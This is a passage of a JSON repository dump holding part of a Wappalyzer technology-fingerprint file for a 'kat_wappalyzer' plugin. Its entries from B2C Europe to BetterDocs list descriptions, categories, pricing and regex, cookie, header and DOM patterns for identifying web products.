\"description\": \"autoComplete.js is a simple, pure vanilla Javascript library.\",\n    \"icon\": \"autoComplete.js.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"@tarekraafat/autocomplete\\\\.js@([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://tarekraafat.github.io/autoComplete.js\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/b.json",
    "content": "{\n  \"B2C Europe\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"B2C Europe offers logistic solutions for your ecommerce businesses.\",\n    \"icon\": \"B2C Europe.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bB2C Europe\\\\b\"\n    ],\n    \"website\": \"https://www.b2ceurope.eu/\"\n  },\n  \"BDOW\": {\n    \"cats\": [\n      5,\n      32\n    ],\n    \"description\": \"BDOW is a plugin offering set of marketing tools to automate a website's growth. These tools help drive extra traffic, engage visitors, increase email subscribers and build community.\",\n    \"icon\": \"Bdow.svg\",\n    \"js\": {\n      \"sumo\": \"\",\n      \"sumome\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sumo(?:me)?\\\\.com/\"\n    ],\n    \"website\": \"https://bdow.com/\"\n  },\n  \"BEM\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"BEM (Block, Element, Modifier) is a naming convention for classes in HTML and CSS what was developed by Yandex.\",\n    \"html\": [\n      \"<[^>]+data-bem\"\n    ],\n    \"icon\": \"BEM.svg\",\n    \"oss\": true,\n    \"website\": \"https://en.bem.info\"\n  },\n  \"BIGACE\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:bigace:bigace:*:*:*:*:*:*:*:*\",\n    \"description\": \"Bigace is a free open-source content management developed in PHP and JavaScript that uses a MySQL or ADOdb environment.\",\n    \"icon\": \"BIGACE.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"BIGACE ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/bigace\"\n  },\n  \"BON Loyalty\": {\n    \"cats\": [\n      84,\n      100\n    ],\n    \"description\": \"BON Loyalty is a free rewards and referrals app that helps merchants increase customer engagement with captivating points, rewards & referral program.\",\n    \"icon\": \"BON Loyalty.svg\",\n    \"js\": {\n      \"bonShopInfo.appearance\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.bonloyalty\\\\.com/\"\n    ],\n    \"website\": \"https://bonloyalty.com\"\n  },\n  \"BOOM\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"X-Supplied-By\": \"MANA\"\n    },\n    \"icon\": \"boom.svg\",\n    \"implies\": [\n      \"WordPress\"\n    ],\n    \"meta\": {\n      \"generator\": \"^boom site builder$\"\n    },\n    \"website\": \"https://manaandisheh.com\"\n  },\n  \"BRT\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"BRT, also known as Bartolini, is an Italian-based logistics service provider.\",\n    \"icon\": \"BRT.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bBRT\\\\b\"\n    ],\n    \"website\": \"https://www.brt.it\"\n  },\n  \"BSmart\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"bsmartstate\": \"\"\n    },\n    \"description\": \"BSmart is an ecommerce platform, programmed by Microline.\",\n    \"icon\": \"BSmart.svg\",\n    \"js\": {\n      \"BSmartConfirmWindow\": \"\",\n      \"bsGetBSmartStock\": \"\",\n      \"bsmartPriceList\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.bsmart.co.il/?utm_source=wappalyzer&utm_medium=referral\"\n  },\n  \"Babel\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Babel is a free and open-source transcompiler for writing next generation JavaScript.\",\n    \"icon\": \"Babel.svg\",\n    \"js\": {\n      \"_babelPolyfill\": \"\"\n    },\n    \"website\": \"https://babeljs.io\"\n  },\n  \"Bablic\": {\n    \"cats\": [\n      89\n    ],\n    \"description\": \"Bablic is a localisation solution to translate your website.\",\n    \"icon\": \"bablic.svg\",\n    \"js\": {\n      \"bablic\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.bablic.com\"\n  },\n  \"Babylist\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Babylist is a universal wish list.\",\n    \"icon\": \"Babylist.svg\",\n    \"scriptSrc\": [\n      \"babylist\\\\.com/\"\n    ],\n    \"website\": \"https://www.babylist.com\"\n  },\n  \"Babylon.js\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Babylon.js is a real time 3D engine using a JavaScript library for displaying 3D graphics in a web browser via HTML5. The source code is available on GitHub and distributed under the Apache License 2.0.\",\n    \"dom\": [\n      \"canvas[data-engine*='Babylon.js']\"\n    ],\n    \"icon\": \"babylonjs.svg\",\n    \"js\": {\n      \"BABYLON.AddressMode\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.babylonjs.com/\"\n  },\n  \"Back In Stock\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Back In Stock lets your customers choose restock alerts for specific variant combinations, including size, colour or style.\",\n    \"icon\": \"Back In Stock.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.backinstock\\\\.org/\"\n    ],\n    \"website\": \"https://backinstock.org\"\n  },\n  \"Backbase\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Backbase is an engagement banking platform, facilitating the modernization of core customer interactions and the restructuring of business operations with a customer-centric approach.\",\n    \"icon\": \"Backbase.svg\",\n    \"js\": {\n      \"backbase_com_2013_aurora\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.backbase.com\"\n  },\n  \"Backbone.js\": {\n    \"cats\": [\n      12\n    ],\n    \"cpe\": \"cpe:2.3:a:backbone_project:backbone:*:*:*:*:*:*:*:*\",\n    \"description\": \"BackboneJS is a JavaScript library that allows to develop and structure the client side applications that run in a web browser.\",\n    \"icon\": \"Backbone.js.svg\",\n    \"implies\": [\n      \"Underscore.js\"\n    ],\n    \"js\": {\n      \"Backbone\": \"\",\n      \"Backbone.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"backbone.*\\\\.js\"\n    ],\n    \"website\": \"https://backbonejs.org\"\n  },\n  \"Backdrop\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*\",\n    \"description\": \"Backdrop is an open-source content management system (CMS) derived from Drupal 7, offering a user-friendly interface, customisable content types, taxonomies, views, theming capabilities, extensibility through modules, and regular security updates.\",\n    \"excludes\": [\n      \"Drupal\",\n      \"Drupal Multisite\"\n    ],\n    \"headers\": {\n      \"X-Backdrop-Cache\": \"\",\n      \"X-Generator\": \"^Backdrop CMS(?:\\\\s([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Backdrop.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"Backdrop\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Backdrop CMS(?:\\\\s([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://backdropcms.org\"\n  },\n  \"BackerKit\": {\n    \"cats\": [\n      111\n    ],\n    \"cookies\": {\n      \"_backerkit_sessionv2\": \"\"\n    },\n    \"description\": \"Backerkit is a crowdfunding shipping fulfillment software solution.\",\n    \"icon\": \"BackerKit.svg\",\n    \"js\": {\n      \"BackerKitPreorders\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.backerkit\\\\.com/\"\n    ],\n    \"website\": \"https://www.backerkit.com\"\n  },\n  \"Backstretch\": {\n    \"cats\": [\n      25,\n      59\n    ],\n    \"description\": \"A simple jQuery plugin that allows you to add a dynamically-resized, slideshow-capable background image to any page or element.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?(?:jquery\\\\.)?backstretch(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.jquery-backstretch.com/\"\n  },\n  \"Bahooosh\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"bahooosh_session\": \"\"\n    },\n    \"description\": \"Bahooosh is an online business management platform that integrates AI-powered site building and ecommerce CMS features.\",\n    \"icon\": \"Bahooosh.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://bahooosh.com\"\n  },\n  \"Baidu Analytics (百度统计)\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Baidu Analytics (百度统计) is a free tool for tracking and reporting traffic data of users visiting your site.\",\n    \"icon\": \"Baidu Tongji.png\",\n    \"scriptSrc\": [\n      \"hm\\\\.baidu\\\\.com/hm?\\\\.js\"\n    ],\n    \"website\": \"https://tongji.baidu.com/\"\n  },\n  \"Baidu Maps\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"Baidu Maps is a desktop and mobile web mapping service application and technology provided by Baidu, offering satellite imagery, street maps, street view and indoor view perspectives, as well as functions such as a route planner for traveling by foot, car, or with public transportation.\",\n    \"icon\": \"Baidu Maps.svg\",\n    \"js\": {\n      \"BMAP_API_VERSION\": \"(.+)\\\\;version:\\\\1\",\n      \"bmap.version\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://map.baidu.com\"\n  },\n  \"Baidu Search Box\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Baidu Search Box is a feature integrated within web pages enabling users to conduct searches directly on the site.\",\n    \"dom\": [\n      \"input[value='baidu'][name='tn']\"\n    ],\n    \"icon\": \"BaiduSearchBox.svg\",\n    \"saas\": true,\n    \"website\": \"https://www.baidu.com/search/sug/sugcode.html\"\n  },\n  \"BambooHR\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"BambooHR is an American technology company that provides human resources software as a service.\",\n    \"dom\": [\n      \"a[href*='.bamboohr.com/'][target='_blank']\"\n    ],\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.bamboohr\\\\.com\"\n    },\n    \"icon\": \"BambooHR.svg\",\n    \"js\": {\n      \"scrollToBambooHR\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.bamboohr\\\\.com/\"\n    ],\n    \"website\": \"https://www.bamboohr.com\"\n  },\n  \"Bambuser\": {\n    \"cats\": [\n      103\n    ],\n    \"description\": \"Bambuser is a SaaS company based in Stockholm that provides live video shopping technology.\",\n    \"icon\": \"Bambuser.svg\",\n    \"js\": {\n      \"BambuserLiveShopping\": \"\",\n      \"_bambuser\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.bambuser\\\\.com/\"\n    ],\n    \"website\": \"https://bambuser.com\"\n  },\n  \"BandsInTown Events Widget\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Bandsintown Events Widget is a free widget which makes it simple to embed your event listings and allow fans to buy tickets, RSVP, follow you and join your Email & SMS lists.\",\n    \"icon\": \"BandsInTown.svg\",\n    \"scriptSrc\": [\n      \"widget\\\\.bandsintown\\\\.com/\"\n    ],\n    \"website\": \"https://artists.bandsintown.com/support/events-widget\"\n  },\n  \"BannerBoo\": {\n    \"cats\": [\n      20\n    ],\n    \"description\": \"BannerBoo is a graphic design software that enables users to create display banners in various sizes.\",\n    \"icon\": \"BannerBoo.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.bannerboo\\\\.com/\"\n    ],\n    \"website\": \"https://bannerboo.com\"\n  },\n  \"Banno Banking\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Banno Banking is a digital banking platform designed to deliver a branded, user-friendly experience by leveraging advanced fintech tools.\",\n    \"icon\": \"Banno.svg\",\n    \"js\": {\n      \"banno.site\": \"\",\n      \"com.banno\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://banno.com/digital-banking\"\n  },\n  \"Banshee\": {\n    \"cats\": [\n      1,\n      18\n    ],\n    \"description\": \"Banshee is a PHP website framework with a main focus on security. Banshee is protected against common attacks like SQL injection, cross-site scripting, cross-site request forgery and session hijacking.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Banshee PHP framework v([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Banshee.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"Banshee PHP\"\n    },\n    \"website\": \"https://www.banshee-php.org\"\n  },\n  \"Barba.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Barba.js is a small and easy-to-use javascript library that helps you creating fluid and smooth transitions between your website's pages.\",\n    \"icon\": \"Barba.js.svg\",\n    \"js\": {\n      \"barba.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://barba.js.org\"\n  },\n  \"Baremetrics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Baremetrics is a subscription analytics platform offering insights for payment providers like Stripe, Braintree, and others.\",\n    \"icon\": \"Baremetrics.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.baremetrics\\\\.com/\"\n    ],\n    \"website\": \"https://baremetrics.com\"\n  },\n  \"Barilliance\": {\n    \"cats\": [\n      76,\n      98\n    ],\n    \"description\": \"Barilliance is an ecommerce personalisation tools including cart abandonment emails, personalised product recommendations, onsite personalisation, and live notifications.\",\n    \"icon\": \"Barilliance.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.barilliance\\\\.net/\"\n    ],\n    \"website\": \"https://www.barilliance.com\"\n  },\n  \"Barion\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Barion is a payment gateway and card acceptance system facilitating secure online transactions for businesses and consumers.\",\n    \"icon\": \"Barion.svg\",\n    \"js\": {\n      \"BarionAnalyticsObject\": \"\",\n      \"barion_pixel_id\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"pixel\\\\.barion\\\\.com/\"\n    ],\n    \"website\": \"https://www.barion.com\"\n  },\n  \"Base\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Base is a hosted ecommerce platform that allows business owners to set up an online store and sell their products online.\",\n    \"dom\": [\n      \"link[href*='.thebase.in/']\"\n    ],\n    \"icon\": \"Base.svg\",\n    \"js\": {\n      \"BASE_API.shop_id\": \"\",\n      \"Base.App.open_nav\": \"\"\n    },\n    \"meta\": {\n      \"base-theme-name\": \"\\\\;confidence:50\",\n      \"base-theme-version\": \"\\\\d+\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"payg\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"thebase\\\\.in/js\"\n    ],\n    \"website\": \"https://thebase.com\"\n  },\n  \"BaseKit\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"BaseKit is a platform offering website-building solutions for small businesses and individuals. It enables users to create websites easily with drag-and-drop tools and customizable templates, without the need to write code.\",\n    \"icon\": \"BaseKit.svg\",\n    \"js\": {\n      \"BaseKit\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^BaseKit$\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.basekit.com/\"\n  },\n  \"Basic\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Basic is an authetication method used by some web servers.\",\n    \"headers\": {\n      \"WWW-Authenticate\": \"^Basic\"\n    },\n    \"website\": \"https://tools.ietf.org/html/rfc7617\"\n  },\n  \"Basil.css\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Basil.css is a responsive and customizable UI framework.\",\n    \"dom\": [\n      \"link[href*='/basil.css'], link[href*='/basilcss']\"\n    ],\n    \"icon\": \"basilcss.svg\",\n    \"website\": \"https://basilcss.com\"\n  },\n  \"Basin\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Basin is a plug-and-play form backend for designers and developers, allowing users to collect submissions and track conversions without coding.\",\n    \"dom\": [\n      \"form[action*='usebasin.com/']\"\n    ],\n    \"icon\": \"Basin.svg\",\n    \"js\": {\n      \"onloadBasinCallback\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.usebasin\\\\.com/v([\\\\d\\\\.]+)\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://usebasin.com\"\n  },\n  \"Basis Technologies\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Basis Technologies, formerly ‘Centro,’ provides cloud-based workflow automation and business intelligence software for marketing.\",\n    \"icon\": \"Basis.svg\",\n    \"scriptSrc\": [\n      \"cdn01\\\\.basis\\\\.net\"\n    ],\n    \"website\": \"https://basis.net/\"\n  },\n  \"Batflat\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Batflat is a lightweight CMS for free.\",\n    \"icon\": \"Batflat.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"SQLite\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Batflat$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://batflat.org\"\n  },\n  \"Bazaarvoice Curation\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Bazaarvoice Curation is a content curation service Bazaarvoice provides post it's acquisition of Curalate.\",\n    \"icon\": \"Bazaarvoice.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"edge\\\\.curalate\\\\.com\",\n      \"cdn\\\\.curalate\\\\.com\"\n    ],\n    \"website\": \"https://www.bazaarvoice.com/products/visual-and-social-content/\"\n  },\n  \"Bazaarvoice Reviews\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Bazaarvoice is a provider of user-generated content solutions like ratings and reviews and Q&A.\",\n    \"icon\": \"Bazaarvoice.svg\",\n    \"js\": {\n      \"BV.api\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"apps\\\\.bazaarvoice\\\\.com\"\n    ],\n    \"website\": \"https://www.bazaarvoice.com/products/ratings-and-reviews/\"\n  },\n  \"Bazo\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Bazo is a tool that identifies the company or organisation that visited your website and tracks its activities.\",\n    \"icon\": \"BazoIO.svg\",\n    \"js\": {\n      \"_bazoq\": \"\",\n      \"_bazou\": \"\\\\.bazo\\\\.io/\",\n      \"_bazov\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.bazo\\\\.io/\"\n    ],\n    \"website\": \"https://bazo.io\"\n  },\n  \"BeTheme\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"BeTheme is a collection of WordPress themes developed by Muffin Group.\",\n    \"icon\": \"BeTheme.svg\",\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/betheme/js/scripts(?:\\\\.min)?\\\\.js\\\\?ver=([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.betheme.com\"\n  },\n  \"Beam AfterSell\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"AfterSell is a Shopify app by Beam which helps brands create powerful post purchase offers.\",\n    \"icon\": \"AfterSell.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"aftersell.hooks\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.aftersell\\\\.app/\"\n    ],\n    \"website\": \"https://www.aftersell.com\"\n  },\n  \"Beam OutSell\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"OutSell is a Shopify app by Beam. Frequently Bought Together, Discounted Upsell, Also Bought.\",\n    \"icon\": \"Beam.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"outsellAiRecommendationsIsEnabled\": \"\",\n      \"outsellApp\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//outsellapp\\\\.com/\"\n    ],\n    \"website\": \"https://apps.shopify.com/outsell\"\n  },\n  \"Beamer\": {\n    \"cats\": [\n      85\n    ],\n    \"description\": \"Beamer is a feature management platform that allows businesses to manage and share new product releases, feature updates, and bug fixes with their customers.\",\n    \"icon\": \"Beamer.svg\",\n    \"js\": {\n      \"Beamer.enabled\": \"true\",\n      \"_BEAMER_URL\": \"//app\\\\.getbeamer\\\\.com/\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.getbeamer.com\"\n  },\n  \"Beans\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"Beans is a provider of ecommerce loyalty programs.\",\n    \"icon\": \"Beans.svg\",\n    \"js\": {\n      \"Beans3\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.trybeans\\\\.com\"\n    ],\n    \"website\": \"https://www.trybeans.com/\"\n  },\n  \"Beaver Builder\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Beaver Builder is a drag-and-drop page builder for WordPress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/uploads/bb-plugin/']\"\n    ],\n    \"icon\": \"BeaverBuilder.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.wpbeaverbuilder.com/\"\n  },\n  \"Beddy\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Beddy is a hospitality management software designed to streamline operations, enhance guest experiences, and improve efficiency in hotels and other hospitality establishments.\",\n    \"icon\": \"Beddy.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.beddy\\\\.io/\"\n    ],\n    \"website\": \"https://www.beddy.io\"\n  },\n  \"Beehiiv\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Beehiiv is a relatively young, hosted newsletter platform built for businesses and creators.\",\n    \"dom\": [\n      \"link[href*='media.beehiiv.com/']\"\n    ],\n    \"icon\": \"Beehiiv.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.beehiiv.com\"\n  },\n  \"Beehiiv RSS feed\": {\n    \"cats\": [\n      49\n    ],\n    \"description\": \"Beehiiv RSS feed is a feature of the Beehiiv. Beehiiv is a relatively young, hosted newsletter platform built for businesses and creators.\",\n    \"dom\": [\n      \"iframe[src*='embeds.beehiiv.com/']\"\n    ],\n    \"icon\": \"Beehiiv.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.beehiiv.com\"\n  },\n  \"Beeketing\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Beeketing is a suite of marketing apps for ecommerce shop owners.\",\n    \"icon\": \"Beeketing.svg\",\n    \"js\": {\n      \"beeketingAnalyticsParams\": \"\",\n      \"beeketingSDKLoaded\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sdk\\\\.beeketing\\\\.com/\"\n    ],\n    \"website\": \"https://beeketing.com\"\n  },\n  \"Beeswax\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Beeswax offers Bidder-as-a-Service solution.\",\n    \"icon\": \"Beeswax.svg\",\n    \"scriptSrc\": [\n      \"segment\\\\.prod\\\\.bidr\\\\.io\"\n    ],\n    \"website\": \"https://www.beeswax.com/\"\n  },\n  \"Bench\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Bench is a provider of omnichannel programmatic media and performance marketing solutions.\",\n    \"icon\": \"Bench.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tag\\\\.benchplatform\\\\.com/\"\n    ],\n    \"website\": \"https://benchmedia.com\"\n  },\n  \"Bentobox\": {\n    \"cats\": [\n      1,\n      93\n    ],\n    \"description\": \"Bentobox is a restaurant website platform that handles menus, reservations, gift cards and more.\",\n    \"icon\": \"Bentobox.svg\",\n    \"js\": {\n      \"BentoAnalytics\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getbento\\\\.com/\"\n    ],\n    \"website\": \"https://getbento.com\"\n  },\n  \"Better Cart\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Better Cart is an ecommerce checkout powered by AI and predictive machine learning models.\",\n    \"icon\": \"BetterCart.svg\",\n    \"js\": {\n      \"betterCart$\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.getbettercart.com/\"\n  },\n  \"Better Click To Tweet\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Adds click to tweet boxes into your posts.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/better-click-to-tweet/']\"\n    ],\n    \"icon\": \"Better Click To Tweet.png\",\n    \"oss\": true,\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/better-click-to-tweet/\"\n  },\n  \"Better Price\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Better Price is a Shopify app which provide coupons to real leads only when discounted price is requested build by Architechpro.\",\n    \"icon\": \"Better Price.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"fc_metafield_betterprice.betterpricesuccess\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/shopify-apps//js/betterprice/betterprice\\\\.js\"\n    ],\n    \"website\": \"https://apps.shopify.com/better-price\"\n  },\n  \"Better Replay\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Better Replay is a platform for session recording and replay, designed to capture and review content efficiently.\",\n    \"icon\": \"BetterReplay.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \".api\\\\.better-replay\\\\.com/\"\n    ],\n    \"website\": \"https://www.better-replay.com\"\n  },\n  \"Better Search\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Better Search is a WordPress plugin designed to enhance your search experience.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/better-search/']\"\n    ],\n    \"icon\": \"BetterSearch.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://webberzone.com/plugins/better-search/\"\n  },\n  \"Better Stack\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Better Stack is the all-in-one infrastructure monitoring platform for your incident management, uptime monitoring, and status pages.\",\n    \"icon\": \"Better Stack.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//(?:uptime\\\\.)?(?:betteruptime|betterstack)\\\\.com/\"\n    ],\n    \"website\": \"https://betterstack.com/uptime\"\n  },\n  \"BetterBot\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"BetterBot is a conversational leasing tool tailored for real estate.\",\n    \"icon\": \"BetterBot.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:dashboard\\\\.betterbot\\\\.ai|\\\\.betterbot\\\\.com)\"\n    ],\n    \"website\": \"https://betterbot.com\"\n  },\n  \"BetterDocs\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"BetterDocs is an advanced documentation and knowledge base plugin for WordPress and Shopify.\",\n    \"icon\": 